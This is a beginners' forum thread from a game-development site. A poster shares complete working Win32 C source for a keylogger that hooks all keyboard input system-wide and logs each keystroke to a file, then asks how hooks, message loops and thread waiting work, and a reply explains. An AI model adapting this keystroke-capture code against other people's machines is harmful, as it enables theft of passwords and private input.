Home » Community » Forums » For Beginners » Inside a Win32 Program
  Intel sponsors gamedev.net search:   
[Control Panel] [Register] [Bookmarks] [Who's Online] [Active Topics] [Stats] [FAQ] [Search]

Add Forum to Favorites |  Send Topic To a Friend | View Forum FAQ | Track this topic


 Last Thread Next Thread 
 Inside a Win32 Program
Post New Topic  Post Reply 
I wanted to write a simple keylogger for my own computer and stumbled across the article mentioned at the bottom of this post, with the following code:

// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.


#define _WIN32_WINNT 0x0400

#include <windows.h>
#include <winuser.h>
#include <stdio.h>

// Global Hook handle
HHOOK hKeyHook;



// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.

__declspec(dllexport) LRESULT CALLBACK KeyEvent (

  int nCode,      // The hook code
  WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
  LPARAM lParam   // A pointer to a struct with information about the pressed key

) {
    if  ((nCode == HC_ACTION) &&       // HC_ACTION means we may process this event
        ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ...
        (wParam == WM_KEYDOWN)))       // ... or a normal key have been pressed.
    {

    //  This struct contains various information about
    //  the pressed key such as hardware scan code, virtual
    //  key code and further flags. 

        KBDLLHOOKSTRUCT hooked = 
            *((KBDLLHOOKSTRUCT*)lParam);

    
    //  dwMsg shall contain the information that would be stored
    //  in the usual lParam argument of a WM_KEYDOWN message. 
    //  All information like hardware scan code and other flags
    //  are stored within one double word at different bit offsets.
    //  Refer to MSDN for further information:
    //
    //  http://msdn.microsoft.com/library/en-us/winui/winui/
    //    windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
    //
    //  (Keystroke Messages)


        DWORD dwMsg = 1;
        dwMsg += hooked.scanCode << 16;
        dwMsg += hooked.flags << 24;


    //  Call the GetKeyNameText() function to get the language-dependant
    //  name of the pressed key. This function should return the name
    //  of the pressed key in your language, aka the language used on
    //  the system.

        char lpszName[0x100] = {0};
        lpszName[0] = '[';

        int i = GetKeyNameText(dwMsg,
            (lpszName+1),0xFF) + 1;

        lpszName[i] = ']';


    //  Print this name to the standard console output device.

        FILE *file;
        file=fopen("keys.log","a+");
        fputs(lpszName,file);
        fflush(file);
    }


//  the return value of the CallNextHookEx routine is always
//  returned by your HookProc routine. This allows other
//  applications to install and handle the same hook as well.

    return CallNextHookEx(hKeyHook,
        nCode,wParam,lParam);

}



// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...

void MsgLoop()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}


// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.

DWORD WINAPI KeyLogger(LPVOID lpParameter)
{

//  Get a module handle to our own executable. Usually,
//  the return value of GetModuleHandle(NULL) should be
//  a valid handle to the current application instance,
//  but if it fails we will also try to actually load 
//  ourself as a library. The thread's parameter is the
//  first command line argument which is the path to our
//  executable.

    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 

//  Everything failed, we can't install the hook ... this
//  never happened, but error handling is important.

    if (!hExe) return 1;



    hKeyHook = SetWindowsHookEx (  // install the hook:

        WH_KEYBOARD_LL,            // as a low level keyboard hook
        (HOOKPROC) KeyEvent,       // with the KeyEvent function from this executable
        hExe,                      // and the module handle to our own executable
        NULL                       // and finally, the hook should monitor all threads.
    );


//  Loop forever in a message loop and if the loop
//  stops some time, unhook the hook. I could have
//  added a signal handler for ctrl-c that unhooks
//  the hook once the application is terminated by
//  the user, but I was too lazy.

    MsgLoop();
    UnhookWindowsHookEx(hKeyHook);
    return 0;
}


// The main function just starts the thread that 
// installs the keyboard hook and waits until it
// terminates.

int main(int argc, char** argv)
{
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;

    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
        KeyLogger, (LPVOID) argv[0], NULL, &dwThread);

    if (hThread) {
        return WaitForSingleObject(hThread,INFINITE);
    } else {
        return 1;
    }
}



I'm a fairly strong C/C++ programmer so I read a few tutorials on Windows programming and have the gist of things. But, looking at this source code, I still have a bunch of questions... any help is (as always) appreciated!

(1) What is a "hook"? Hooking? Un-hooking? CallNextHookEx(), SetWindowsHookEx(), UnhookWindowsEx()???
(2) What does the MsgLoop() function do? The author claims it "blocks" while the program is "keylogging" but what is it exactly blocking?
(3) WaitForSingleObject() - what does this do?
(4) In the SetWindowsHookEx() function call (inside the KeyLogger thread) we pass a NULL 4th parameter which the author indicates meaning "the hook should monitor all threads." The keylogger I want to make (which will be based largely on the code in this logger) will have several other threads. How does this fourth parameter interfere with any other threads I initiate in main()?



http://www.rohitab.com/discuss/index.php?showtopic=19360&hl=GetKeyNameText

 User Rating: 945   |  Rate This User  Send Private MessageView Profile Report this Post to a Moderator | Link

1) A hook is basically a piece of code which is called either just before or in response to a system event. This hook is called just before other applications get keyboard input.

2) The MsgLoop() function simply prevents the application from ending. It works by ensuring that the application will not end until it receives a WM_QUIT message. GetMessage() will block (cause the code in KeyLogger() to not continue past the call to GetMessage()) waiting for WM_QUIT (and other messages) - but these messages wont come since there is no one to send them.

Meanwhile, the system will be calling KeyEvent() any time there is keyboard input.

3) WaitForSingleObject() is a synchronization function while blocks until a handle becomes signaled. The handle hThread becomes signaled when the thread ends which means the call basically causes main() to wait until the thread ends.

4) No, the fourth parameter will not interfere.

That said, I do not see why this program makes any other threads at all. KeyLogger() could be merged with main() and I dont see any problems that would arise.



 User Rating: 1676   |  Rate This User  Send Private MessageView ProfileView JournalView GD Showcase Entries Report this Post to a Moderator | Link

All times are ET (US)

Post Reply
 Last Thread Next Thread 
Forum Rules:
You may not post new threads
You may not post replies
You may not edit your posts
You may not use HTML in your posts
Jump To:
Administrative Options: